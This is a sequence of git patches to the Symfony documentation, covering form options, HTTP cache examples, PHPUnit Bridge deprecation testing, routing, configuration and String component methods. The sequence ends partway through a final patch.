 4 files changed, 14 insertions(+), 4 deletions(-)
 create mode 100644 reference/forms/types/options/label_html.rst.inc

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index fa021fbfd60..5b157120916 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1260,10 +1260,6 @@ You can also configure the session handler with a DSN. For example:
             ],
         ]);
 
-.. versionadded:: 4.4
-
-    The option to configure the session handler with a DSN was introduced in Symfony 4.4.
-
 If you prefer to make Symfony store sessions in a database read
 :doc:`/doctrine/pdo_session_storage`.
 
diff --git a/reference/forms/types/button.rst b/reference/forms/types/button.rst
index b7d81868089..655d515215b 100644
--- a/reference/forms/types/button.rst
+++ b/reference/forms/types/button.rst
@@ -13,6 +13,7 @@ A simple, non-responsive button.
 | options              | - `attr_translation_parameters`_                                     |
 |                      | - `disabled`_                                                        |
 |                      | - `label`_                                                           |
+|                      | - `label_html`_                                                      |
 |                      | - `label_translation_parameters`_                                    |
 |                      | - `row_attr`_                                                        |
 |                      | - `translation_domain`_                                              |
@@ -53,6 +54,8 @@ as a key. This can be useful when you need to set a custom class for the button:
 
 .. include:: /reference/forms/types/options/button_label.rst.inc
 
+.. include:: /reference/forms/types/options/label_html.rst.inc
+
 .. include:: /reference/forms/types/options/button_translation_domain.rst.inc
 
 label_translation_parameters
diff --git a/reference/forms/types/form.rst b/reference/forms/types/form.rst
index 4099436430b..8a0c219f410 100644
--- a/reference/forms/types/form.rst
+++ b/reference/forms/types/form.rst
@@ -42,6 +42,7 @@ on all types for which ``FormType`` is the parent.
 |           | - `block_prefix`_                                                  |
 |           | - `disabled`_                                                      |
 |           | - `label`_                                                         |
+|           | - `label_html`_                                                    |
 |           | - `row_attr`_                                                      |
 |           | - `translation_domain`_                                            |
 |           | - `label_translation_parameters`_                                  |
@@ -172,6 +173,8 @@ of the form type tree (i.e. it cannot be used as a form type on its own).
 
 .. include:: /reference/forms/types/options/label.rst.inc
 
+.. include:: /reference/forms/types/options/label_html.rst.inc
+
 .. include:: /reference/forms/types/options/row_attr.rst.inc
 
 .. include:: /reference/forms/types/options/translation_domain.rst.inc
diff --git a/reference/forms/types/options/label_html.rst.inc b/reference/forms/types/options/label_html.rst.inc
new file mode 100644
index 00000000000..5269c3d3b44
--- /dev/null
+++ b/reference/forms/types/options/label_html.rst.inc
@@ -0,0 +1,8 @@
+``label_html``
+~~~~~~~~~~~~~~
+
+**type**: ``bool`` **default**: ``false``
+
+By default, the contents of the ``label`` option are escaped before rendering
+them in the template. Set this option to ``true`` to not escape them, which is
+useful when the label contains HTML elements.

From 889cfe567b7d116beedff26475741241e2ee3ca2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 14 Mar 2020 12:22:55 +0100
Subject: [PATCH 0491/7107] Added the missing versionadded directive

---
 reference/forms/types/options/label_html.rst.inc | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/reference/forms/types/options/label_html.rst.inc b/reference/forms/types/options/label_html.rst.inc
index 5269c3d3b44..06568ed08f4 100644
--- a/reference/forms/types/options/label_html.rst.inc
+++ b/reference/forms/types/options/label_html.rst.inc
@@ -3,6 +3,10 @@
 
 **type**: ``bool`` **default**: ``false``
 
+.. versionadded:: 5.1
+
+	The ``label_html`` option was introduced in Symfony 5.1.
+
 By default, the contents of the ``label`` option are escaped before rendering
 them in the template. Set this option to ``true`` to not escape them, which is
 useful when the label contains HTML elements.

From 333d301ce9d63429b63c5f2c86b454b4ed87bb90 Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Sun, 15 Mar 2020 09:26:25 +0100
Subject: [PATCH 0492/7107] Update validator.rst

The Validator class doesn't exist anymore
---
 components/validator.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/components/validator.rst b/components/validator.rst
index e92c8f3e80a..82850d1faad 100644
--- a/components/validator.rst
+++ b/components/validator.rst
@@ -69,8 +69,8 @@ If you have lots of validation errors, you can filter them by error code::
 Retrieving a Validator Instance
 -------------------------------
 
-The :class:`Symfony\\Component\\Validator\\Validator` class is the main access
-point of the Validator component. To create a new instance of this class, it's
+The Validator object (that implements :class:`Symfony\\Component\\Validator\\Validator\\ValidatorInterface`) is the main access
+point of the Validator component. To create a new instance of it, it's
 recommended to use the :class:`Symfony\\Component\\Validator\\Validation` class::
 
     use Symfony\Component\Validator\Validation;
@@ -79,7 +79,7 @@ recommended to use the :class:`Symfony\\Component\\Validator\\Validation` class:
 
 This ``$validator`` object can validate simple variables such as strings, numbers
 and arrays, but it can't validate objects. To do so, configure the
-``Validator`` class as explained in the next sections.
+``Validator`` as explained in the next sections.
 
 Learn More
 ----------

From d96b062cc72eb85179c92f87ece915fb5de5d1b2 Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Sun, 15 Mar 2020 18:43:48 +0100
Subject: [PATCH 0493/7107] [Form] Better explicit cloning with "by_reference"
 option

---
 reference/forms/types/options/by_reference.rst.inc | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/forms/types/options/by_reference.rst.inc b/reference/forms/types/options/by_reference.rst.inc
index 3065cc9d9c5..2e95ae3a5df 100644
--- a/reference/forms/types/options/by_reference.rst.inc
+++ b/reference/forms/types/options/by_reference.rst.inc
@@ -41,8 +41,8 @@ If you set ``by_reference`` to false, submitting looks like this::
     $author->setEmail('...');
     $article->setAuthor($author);
 
-So, all that ``by_reference=false`` really does is force the framework to
-call the setter on the parent object.
+So, all that ``by_reference=false`` really does is that it clones the object,
+which enforces the framework to call the setter on the parent object.
 
 Similarly, if you're using the :doc:`CollectionType </reference/forms/types/collection>`
 field where your underlying collection data is an object (like with

From 513f4f722b6c887ef70f4b682c53658829c041d5 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 16 Mar 2020 09:17:59 +0100
Subject: [PATCH 0494/7107] [PhpUnitBridge] Deprecate the expectedDeprecation
 annotation

---
 components/phpunit_bridge.rst | 38 ++++++++++++++++++++++++++---------
 1 file changed, 28 insertions(+), 10 deletions(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 2bbf4132cfa..2af0ce1ae63 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -335,23 +335,41 @@ Write Assertions about Deprecations
 
 When adding deprecations to your code, you might like writing tests that verify
 that they are triggered as required. To do so, the bridge provides the
-``@expectedDeprecation`` annotation that you can use on your test methods.
+``expectDeprecation()`` method that you can use on your test methods.
 It requires you to pass the expected message, given in the same format as for
 the `PHPUnit's assertStringMatchesFormat()`_ method. If you expect more than one
-deprecation message for a given test method, you can use the annotation several
+deprecation message for a given test method, you can use the method several
 times (order matters)::
 
-    /**
-     * @group legacy
-     * @expectedDeprecation This "%s" method is deprecated.
-     * @expectedDeprecation The second argument of the "%s" method is deprecated.
-     */
-    public function testDeprecatedCode()
+    use PHPUnit\Framework\TestCase;
+    use Symfony\Bridge\PhpUnit\ExpectDeprecationTrait;
+
+    class MyTest extends TestCase
     {
-        @trigger_error('This "Foo" method is deprecated.', E_USER_DEPRECATED);
-        @trigger_error('The second argument of the "Bar" method is deprecated.', E_USER_DEPRECATED);
+        use ExpectDeprecationTrait;
+
+        /**
+         * @group legacy
+         */
+        public function testDeprecatedCode()
+        {
+            // test some code that triggers the following deprecation:
+            // @trigger_error('This "Foo" method is deprecated.', E_USER_DEPRECATED);
+            $this->expectDeprecation('This "%s" method is deprecated');
+
+            // ...
+
+            // test some code that triggers the following deprecation:
+            // @trigger_error('The second argument of the "Bar" method is deprecated.', E_USER_DEPRECATED);
+            $this->expectDeprecation('The second argument of the "%s" method is deprecated.');
+        }
     }
 
+.. deprecated:: 5.1
+
+    Symfony versions previous to 5.1 also included a ``@expectedDeprecation``
+    annotation to test deprecations, but it was deprecated in favor of the method.
+
 Display the Full Stack Trace
 ----------------------------
 

From 71f24ddfc89bb2d50c5efcb1b33605a7ac7d3ad9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 16 Mar 2020 11:17:56 +0100
Subject: [PATCH 0495/7107] Improved the HTTPCache examples mentioning s-maxage

---
 http_cache.rst            |  7 ++++---
 http_cache/esi.rst        | 26 ++++++++++++--------------
 http_cache/expiration.rst | 12 ++++++++++--
 3 files changed, 26 insertions(+), 19 deletions(-)

diff --git a/http_cache.rst b/http_cache.rst
index 4508592c7ec..971679d5f82 100644
--- a/http_cache.rst
+++ b/http_cache.rst
@@ -249,8 +249,9 @@ The *easiest* way to cache a response is by caching it for a specific amount of
         // somehow create a Response object, like by rendering a template
         $response = $this->render('blog/index.html.twig', []);
 
-        // cache for 3600 seconds
-        $response->setSharedMaxAge(3600);
+        // cache publicly for 3600 seconds
+        $response->setPublic();
+        $response->setMaxAge(3600);
 
         // (optional) set a custom Cache-Control directive
         $response->headers->addCacheControlDirective('must-revalidate', true);
@@ -262,7 +263,7 @@ Thanks to this new code, your HTTP response will have the following header:
 
 .. code-block:: text
 
-    Cache-Control: public, s-maxage=3600, must-revalidate
+    Cache-Control: public, maxage=3600, must-revalidate
 
 This tells your HTTP reverse proxy to cache this response for 3600 seconds. If *anyone*
 requests this URL again before 3600 seconds, your application *won't* be hit at all.
diff --git a/http_cache/esi.rst b/http_cache/esi.rst
index f8dcf6702fb..31b4c354e37 100644
--- a/http_cache/esi.rst
+++ b/http_cache/esi.rst
@@ -105,14 +105,15 @@ independently of the rest of the page::
         public function about()
         {
             $response = $this->render('static/about.html.twig');
-            // sets the shared max age - which also marks the response as public
-            $response->setSharedMaxAge(600);
+            $response->setPublic();
+            $response->setMaxAge(600);
 
             return $response;
         }
     }
 
-In this example, the full-page cache has a lifetime of ten minutes.
+In this example, the response is marked as public to make the full page
+cacheable for all requests with a lifetime of ten minutes.
 Next, include the news ticker in the template by embedding an action.
 This is done via the ``render()`` helper (for more details, see how to
 :ref:`embed controllers in templates <templates-embed-controllers>`).
@@ -170,14 +171,19 @@ of the master page::
         public function latest($maxPerPage)
         {
             // ...
-            $response->setSharedMaxAge(60);
+            $response->setPublic();
+            $response->setMaxAge(60);
 
             return $response;
         }
     }
 
-With ESI, the full page cache will be valid for 600 seconds, but the news
-component cache will only last for 60 seconds.
+In this example, the embedded action is cached publicly too because the contents
+are the same for all requests. However, in other cases you may need to make this
+response non-public and even non-cacheable, depending on your needs.
+
+Putting all the above code together, with ESI the full page cache will be valid
+for 600 seconds, but the news component cache will only last for 60 seconds.
 
 .. _http_cache-fragments:
 
@@ -233,14 +239,6 @@ possible.
     signed when using the fragment renderer and the ``render_esi`` Twig
     function.
 
-.. note::
-
-    Once you start using ESI, remember to always use the ``s-maxage``
-    directive instead of ``max-age``. As the browser only ever receives the
-    aggregated resource, it is not aware of the sub-components, and so it will
-    obey the ``max-age`` directive and cache the entire page. And you don't
-    want that.
-
 The ``render_esi`` helper supports two other useful options:
 
 ``alt``
diff --git a/http_cache/expiration.rst b/http_cache/expiration.rst
index a7915d4c502..b5004d0a46a 100644
--- a/http_cache/expiration.rst
+++ b/http_cache/expiration.rst
@@ -26,14 +26,22 @@ is used to specify many different cache directives::
 
     // sets the number of seconds after which the response
     // should no longer be considered fresh by shared caches
-    $response->setSharedMaxAge(600);
+    $response->setPublic();
+    $response->setMaxAge(600);
 
 The ``Cache-Control`` header would take on the following format (it may have
 additional directives):
 
 .. code-block:: text
 
-    Cache-Control: public, s-maxage=600
+    Cache-Control: public, maxage=600
+
+.. note::
+
+    Using the ``setSharedMaxAge()`` may seem equivalent to using both ``setPublic()``
+    and ``setMaxAge()`` methods. However, their behavior is different in a
+    ``stale-if-error`` scenario and that's why it's recommended to use both
+    ``public`` and ``max-age`` directives.
 
 .. index::
     single: Cache; Expires header

From 80ed80bc1a83c44fbcaf8257f84b50f98f9c5caa Mon Sep 17 00:00:00 2001
From: Patrick Maynard <patrickmaynard@users.noreply.github.com>
Date: Mon, 16 Mar 2020 10:19:37 +0100
Subject: [PATCH 0496/7107] Remove redundant "by default" in autowiring.rst

---
 service_container/autowiring.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index e5af1ce96cf..bf17f0db369 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -395,7 +395,7 @@ Additionally, you can define several named autowiring aliases if you want to use
 one implementation in some cases, and another implementation in some
 other cases.
 
-For instance, you may want to use by default the ``Rot13Transformer``
+For instance, you may want to use the ``Rot13Transformer``
 implementation by default when the ``TransformerInterface`` interface is
 type hinted, but use the ``UppercaseTransformer`` implementation in some
 specific cases. To do so, you can create a normal alias from the

From a3d70aa16f5f0a8ed3b22ca4f9ab8a0fd9d15d2b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 16 Mar 2020 13:16:05 +0100
Subject: [PATCH 0497/7107] Minor tweaks

---
 reference/forms/types/percent.rst | 12 ++++++++----
 1 file changed, 8 insertions(+), 4 deletions(-)

diff --git a/reference/forms/types/percent.rst b/reference/forms/types/percent.rst
index a42ab18f043..ca6c1c2e456 100644
--- a/reference/forms/types/percent.rst
+++ b/reference/forms/types/percent.rst
@@ -15,10 +15,10 @@ the input.
 +-------------+-----------------------------------------------------------------------+
 | Rendered as | ``input`` ``text`` field                                              |
 +-------------+-----------------------------------------------------------------------+
-| Options     | - `scale`_                                                            |
+| Options     | - `rounding_mode`_                                                    |
+|             | - `scale`_                                                            |
 |             | - `symbol`_                                                           |
 |             | - `type`_                                                             |
-|             | - `rounding_mode`_                                                    |
 +-------------+-----------------------------------------------------------------------+
 | Overridden  | - `compound`_                                                         |
 | options     |                                                                       |
@@ -51,6 +51,12 @@ the input.
 Field Options
 -------------
 
+.. include:: /reference/forms/types/options/rounding_mode.rst.inc
+
+.. versionadded:: 5.1
+
+    The ``rounding_mode`` option was introduced in Symfony 5.1.
+
 scale
 ~~~~~
 
@@ -61,8 +67,6 @@ the submitted value (via ``rounding_mode``). For example, if ``scale`` is set
 to ``2``, a submitted value of ``20.123`` will be rounded to, for example,
 ``20.12`` (depending on your `rounding_mode`_).
 
-.. include:: /reference/forms/types/options/rounding_mode.rst.inc
-
 symbol
 ~~~~~~
 

From a0ffdb49dd47346ea2e4c89f3c5032ad074783fa Mon Sep 17 00:00:00 2001
From: W0rma <beck.worma@gmail.com>
Date: Mon, 16 Mar 2020 11:15:08 +0100
Subject: [PATCH 0498/7107] consider "allowEmptyString" option in example

---
 reference/constraints/Length.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/reference/constraints/Length.rst b/reference/constraints/Length.rst
index b27f43ffbf1..22af53381a8 100644
--- a/reference/constraints/Length.rst
+++ b/reference/constraints/Length.rst
@@ -42,7 +42,8 @@ and "50", you might add the following:
              *      min = 2,
              *      max = 50,
              *      minMessage = "Your first name must be at least {{ limit }} characters long",
-             *      maxMessage = "Your first name cannot be longer than {{ limit }} characters"
+             *      maxMessage = "Your first name cannot be longer than {{ limit }} characters",
+             *      allowEmptyString = false
              * )
              */
             protected $firstName;
@@ -59,6 +60,7 @@ and "50", you might add the following:
                         max: 50
                         minMessage: 'Your first name must be at least {{ limit }} characters long'
                         maxMessage: 'Your first name cannot be longer than {{ limit }} characters'
+                        allowEmptyString: false
 
     .. code-block:: xml
 
@@ -79,6 +81,7 @@ and "50", you might add the following:
                         <option name="maxMessage">
                             Your first name cannot be longer than {{ limit }} characters
                         </option>
+                        <option name="allowEmptyString">false</option>
                     </constraint>
                 </property>
             </class>
@@ -101,6 +104,7 @@ and "50", you might add the following:
                     'max' => 50,
                     'minMessage' => 'Your first name must be at least {{ limit }} characters long',
                     'maxMessage' => 'Your first name cannot be longer than {{ limit }} characters',
+                    'allowEmptyString' => false,
                 ]));
             }
         }

From c651749d4903ccd5f4b1d8eb8cf8dc73afaf648c Mon Sep 17 00:00:00 2001
From: Jules Pietri <heah@heahprod.com>
Date: Tue, 17 Mar 2020 12:07:49 +0100
Subject: [PATCH 0499/7107] [Routing] added missing "version-added" for i18n
 routes

---
 routing.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index f36853188f3..cd6763aac2f 100644
--- a/routing.rst
+++ b/routing.rst
@@ -38,7 +38,7 @@ following configuration file:
     controllers:
         resource: '../../src/Controller/'
         type: annotation
-        
+
     kernel:
         resource: ../../src/Kernel.php
         type: annotation
@@ -1655,6 +1655,10 @@ these routes.
 Localized Routes (i18n)
 -----------------------
 
+..version-added:: 4.1
+
+    The i18n routing has been introduced in Symfony 4.1.
+
 If your application is translated into multiple languages, each route can define
 a different URL per each :doc:`translation locale </translation/locale>`. This
 avoids the need for duplicating routes, which also reduces the potential bugs:

From 0c786b5a56f823ba3252e9892a28997e58006d8d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 17 Mar 2020 12:26:36 +0100
Subject: [PATCH 0500/7107] Fixed the previous merge

---
 routing.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/routing.rst b/routing.rst
index cd6763aac2f..f905e3d9944 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1655,9 +1655,9 @@ these routes.
 Localized Routes (i18n)
 -----------------------
 
-..version-added:: 4.1
+.. versionadded:: 4.1
 
-    The i18n routing has been introduced in Symfony 4.1.
+    The i18n routing was introduced in Symfony 4.1.
 
 If your application is translated into multiple languages, each route can define
 a different URL per each :doc:`translation locale </translation/locale>`. This

From 723ab43af5fc53be7549d3d1dcefda3571b564e0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 17 Mar 2020 12:27:32 +0100
Subject: [PATCH 0501/7107] Removed the versionadded directive

---
 routing.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/routing.rst b/routing.rst
index b651de7afb0..d5167c3c0e3 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1634,10 +1634,6 @@ these routes.
 Localized Routes (i18n)
 -----------------------
 
-.. versionadded:: 4.1
-
-    The i18n routing was introduced in Symfony 4.1.
-
 If your application is translated into multiple languages, each route can define
 a different URL per each :doc:`translation locale </translation/locale>`. This
 avoids the need for duplicating routes, which also reduces the potential bugs:

From 40ad752bddbe90315340db16d5b70a80d4911297 Mon Sep 17 00:00:00 2001
From: MaharishiCanada <dominic.mayers@meditationstudies.org>
Date: Tue, 17 Mar 2020 05:01:08 +0000
Subject: [PATCH 0502/7107] Update calls.rst

Elsewhere in the documentation, the syntax used is `- [method, arguments array]`.
---
 service_container/calls.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/calls.rst b/service_container/calls.rst
index c3797cb8917..46f25456400 100644
--- a/service_container/calls.rst
+++ b/service_container/calls.rst
@@ -40,7 +40,7 @@ To configure the container to call the ``setLogger`` method, use the ``calls`` k
             App\Service\MessageGenerator:
                 # ...
                 calls:
-                    - setLogger: ['@logger']
+                    - [setLogger, ['@logger']]
 
     .. code-block:: xml
 

From 2089a48fb1969ce9702acfc7b97459be85b62d2e Mon Sep 17 00:00:00 2001
From: Arkadiusz Kondas <arkadiusz.kondas@gmail.com>
Date: Mon, 16 Mar 2020 11:37:10 +0100
Subject: [PATCH 0503/7107] Change code example for custom header when using a
 reverse proxy

---
 deployment/proxies.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index cb2c52718c0..6791605225c 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -95,7 +95,7 @@ In this case, you'll need to set the header ``X-Forwarded-Proto`` with the value
     // web/app.php
 
     // ...
-    $_SERVER['HEADER_X_FORWARDED_PROTO'] = $_SERVER['HEADER_CUSTOM_FORWARDED_PROTO'];
+    $_SERVER['HTTP_X_FORWARDED_PROTO'] = $_SERVER['HTTP_CUSTOM_FORWARDED_PROTO'];
     // ...
     $response = $kernel->handle($request);
 

From 41d017ae6c2e528c569c2da7a807fde5053cab9c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Jo=C3=A3o=20Paulo=20V=20Martins?= <joao.paulo@smartbox.com>
Date: Sun, 15 Mar 2020 18:22:58 +0000
Subject: [PATCH 0504/7107] Make it more obvious what the $handler is (refers
 to the next item in the docs)

closes symfony/symfony-docs#13148
---
 components/messenger.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/components/messenger.rst b/components/messenger.rst
index 43272beb591..0ade59dfe87 100644
--- a/components/messenger.rst
+++ b/components/messenger.rst
@@ -89,10 +89,13 @@ are configured for you:
 Example::
 
     use App\Message\MyMessage;
+    use App\MessageHandler\MyMessageHandler;
     use Symfony\Component\Messenger\Handler\HandlersLocator;
     use Symfony\Component\Messenger\MessageBus;
     use Symfony\Component\Messenger\Middleware\HandleMessageMiddleware;
 
+    $handler = new MyMessageHandler();
+
     $bus = new MessageBus([
         new HandleMessageMiddleware(new HandlersLocator([
             MyMessage::class => [$handler],

From 5b0a583833b42c1157a54ceb8748f880993d214b Mon Sep 17 00:00:00 2001
From: Jakub <jakub.szczesniak@protonmail.com>
Date: Tue, 17 Mar 2020 00:35:11 +0100
Subject: [PATCH 0505/7107] Update form_login_setup.rst

---
 security/form_login_setup.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/security/form_login_setup.rst b/security/form_login_setup.rst
index 8cc43c994da..4b236b7ea70 100644
--- a/security/form_login_setup.rst
+++ b/security/form_login_setup.rst
@@ -191,6 +191,8 @@ a traditional HTML form that submits to ``/login``:
     class LoginFormAuthenticator extends AbstractFormLoginAuthenticator implements PasswordAuthenticatedInterface
     {
         use TargetPathTrait;
+        
+        public const LOGIN_ROUTE = 'app_login';
 
         private $entityManager;
         private $urlGenerator;
@@ -207,7 +209,7 @@ a traditional HTML form that submits to ``/login``:
 
         public function supports(Request $request)
         {
-            return 'app_login' === $request->attributes->get('_route')
+            return self::LOGIN_ROUTE === $request->attributes->get('_route')
                 && $request->isMethod('POST');
         }
 
@@ -260,7 +262,7 @@ a traditional HTML form that submits to ``/login``:
 
         protected function getLoginUrl()
         {
-            return $this->urlGenerator->generate('app_login');
+            return $this->urlGenerator->generate(self::LOGIN_ROUTE);
         }
     }
 

From 197ade39d6c1c8c34d16de09b76a09925ab1750e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 17 Mar 2020 15:15:31 +0100
Subject: [PATCH 0506/7107] Made the constant private

---
 security/form_login_setup.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/security/form_login_setup.rst b/security/form_login_setup.rst
index 4b236b7ea70..d8c27871cce 100644
--- a/security/form_login_setup.rst
+++ b/security/form_login_setup.rst
@@ -191,8 +191,8 @@ a traditional HTML form that submits to ``/login``:
     class LoginFormAuthenticator extends AbstractFormLoginAuthenticator implements PasswordAuthenticatedInterface
     {
         use TargetPathTrait;
-        
-        public const LOGIN_ROUTE = 'app_login';
+
+        private const LOGIN_ROUTE = 'app_login';
 
         private $entityManager;
         private $urlGenerator;

From 0052069b376f9e36e6831657e3cca26b5b277fa6 Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Wed, 18 Mar 2020 09:35:39 +0100
Subject: [PATCH 0507/7107] Update framework.rst

Add false possible value to validation translation_domain
---
 reference/configuration/framework.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 8c2158d173a..d09cf59c23f 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1821,10 +1821,10 @@ If this option is enabled, validation constraints can be defined using annotatio
 ``translation_domain``
 ......................
 
-**type**: ``string`` **default**: ``validators``
+**type**: ``string | false`` **default**: ``validators``
 
 The translation domain that is used when translating validation constraint
-error messages.
+error messages. Use false to disable translations.
 
 ``static_method``
 .................

From 2b64654302f95074b5797715075cc5fdb4d3e666 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Wed, 18 Mar 2020 10:19:19 +0100
Subject: [PATCH 0508/7107] Update configuration.rst

Minor language change: "must" => "need"
---
 configuration.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 61fb9d42cf0..bd634264b0d 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -415,11 +415,11 @@ define a ``staging`` environment where the client can test the project before
 going to production:
 
 #. Create a configuration directory with the same name as the environment (in
-   this case, ``config/packages/staging/``);
+   this case, ``config/packages/staging/``).
 #. Add the needed configuration files in ``config/packages/staging/`` to
-   define the behavior of the new environment. Symfony loads first the files in
-   ``config/packages/*.yaml``, so you must only configure the differences with
-   those files;
+   define the behavior of the new environment. Symfony loads the 
+   ``config/packages/*.yaml`` files first, so you just need to configure the
+   differences to those files.
 #. Select the ``staging`` environment using the ``APP_ENV`` env var as explained
    in the previous section.
 

From 4ec5d855be2d86cd103a227b02621dadb1773beb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 18 Mar 2020 11:47:46 +0100
Subject: [PATCH 0509/7107] Minor tweak

---
 configuration.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index bd634264b0d..7d4be00346c 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -415,11 +415,11 @@ define a ``staging`` environment where the client can test the project before
 going to production:
 
 #. Create a configuration directory with the same name as the environment (in
-   this case, ``config/packages/staging/``).
+   this case, ``config/packages/staging/``);
 #. Add the needed configuration files in ``config/packages/staging/`` to
-   define the behavior of the new environment. Symfony loads the 
-   ``config/packages/*.yaml`` files first, so you just need to configure the
-   differences to those files.
+   define the behavior of the new environment. Symfony loads the
+   ``config/packages/*.yaml`` files first, so you only need to configure the
+   differences to those files;
 #. Select the ``staging`` environment using the ``APP_ENV`` env var as explained
    in the previous section.
 

From f6fae3aa98c78e6a8427af8696dca7303a0521ba Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 18 Mar 2020 12:40:43 +0100
Subject: [PATCH 0510/7107] [Form] Document the new collection_entry_* blocks

---
 form/form_themes.rst | 34 ++++++++++++++++++++++++++++++----
 1 file changed, 30 insertions(+), 4 deletions(-)

diff --git a/form/form_themes.rst b/form/form_themes.rst
index d1add18e447..0d726ac3008 100644
--- a/form/form_themes.rst
+++ b/form/form_themes.rst
@@ -312,10 +312,36 @@ names.
 Fragment Naming for Collections
 ...............................
 
-When using a :doc:`collection of forms </form/form_collections>`, the fragment
-of each collection item follows a predefined pattern. For example, consider the
-following complex example where a ``TaskManagerType`` has a collection of
-``TaskListType`` which in turn has a collection of ``TaskType``::
+When using a :doc:`collection of forms </form/form_collections>`, you have
+several ways of customizing the collection and each of its entries. First,
+use the following blocks to customize each part of all form collections:
+
+.. code-block:: twig
+
+    {% block collection_row %} ... {% endblock %}
+    {% block collection_label %} ... {% endblock %}
+    {% block collection_widget %} ... {% endblock %}
+    {% block collection_help %} ... {% endblock %}
+    {% block collection_errors %} ... {% endblock %}
+
+You can also customize each entry of all collections with the following blocks:
+
+.. code-block:: twig
+
+    {% block collection_entry_row %} ... {% endblock %}
+    {% block collection_entry_label %} ... {% endblock %}
+    {% block collection_entry_widget %} ... {% endblock %}
+    {% block collection_entry_help %} ... {% endblock %}
+    {% block collection_entry_errors %} ... {% endblock %}
+
+.. versionadded:: 5.1
+
+    The ``collection_entry_*`` blocks were introduced in Symfony 5.1.
+
+Finally, you can customize specific form collections instead of all of them.
+For example, consider the following complex example where a ``TaskManagerType``
+has a collection of ``TaskListType`` which in turn has a collection of
+``TaskType``::
 
     class TaskManagerType extends AbstractType
     {

From f140ba2e1ce1c980c7347737dd834f2f6e01fad7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 18 Mar 2020 12:12:28 +0100
Subject: [PATCH 0511/7107] [String] Added the containsAny() method

---
 components/string.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/components/string.rst b/components/string.rst
index 1f2dbad3d3a..68b5f190fdb 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -300,6 +300,11 @@ Methods to Search and Replace
     u('avatar-73647.png')->match('/avatar-(\d+)\.png/');
     // result = ['avatar-73647.png', '73647']
 
+    // checks if the string contains any of the other given strings
+    u('aeiou')->containsAny('a');                 // true
+    u('aeiou')->containsAny(['ab', 'efg']);       // false
+    u('aeiou')->containsAny(['eio', 'foo', 'z']); // true
+
     // finds the position of the first occurrence of the given string
     // (the second argument is the position where the search starts and negative
     // values have the same meaning as in PHP functions)
@@ -327,6 +332,10 @@ Methods to Search and Replace
         return '['.$match[0].']';
     }); // result = '[1][2][3]'
 
+.. versionadded:: 5.1
+
+    The ``containsAny()`` method was introduced in Symfony 5.1.
+
 Methods to Join, Split, Truncate and Reverse
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 6702c1e3c144a77378b498039bb929cf80906b71 Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Thu, 19 Mar 2020 21:08:07 +0100
Subject: [PATCH 0512/7107] Use trigger_deprecation instead of @trigger_error

---
 components/phpunit_bridge.rst      | 16 ++++++----------
